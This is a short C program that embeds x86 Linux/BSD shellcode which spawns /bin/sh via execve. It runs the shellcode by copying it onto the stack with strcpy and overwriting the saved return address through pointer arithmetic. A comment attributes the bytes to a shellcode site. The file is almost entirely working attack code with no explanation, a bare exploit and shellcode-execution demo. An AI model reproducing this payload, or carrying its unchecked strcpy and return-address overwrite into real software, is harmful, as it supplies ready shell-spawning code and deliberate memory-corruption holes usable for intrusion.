
char code[] = "\x31\xc0"  
        "\x50"                                 
        "\x68\x2f\x2f\x73\x68"                  
        "\x68\x2f\x62\x69\x6e"                  
        "\x89\xe3"                              
        "\x50"                                 
        "\x54"                                  
        "\x53"                                  
        "\x50"                                 
        "\x8c\xe0"              
        "\x21\xc0"             
        "\x74\x04"                                 
        "\xb0\x3b"              
        "\xeb\x07"
        "\xb0\x0b"
        "\x99"   
        "\x52"                          
        "\x53"                         
        "\x89\xe1"                      
        "\xcd\x80"
        "\x00" ; 
        /* http://www.shellcode.com.ar/bsd/lnx-bsd-short.c */

void foo(char * s) {
    int j ;
    char t[1024] ;
    strcpy(t,s) ;
    *(&j+2) = (int) t ;
    *(&j+1) = 0 ;
    *(&j-1)=0 ;
    return  ; 
}

int main( int argc, char * argv[] ) {
    foo(code) ;
}

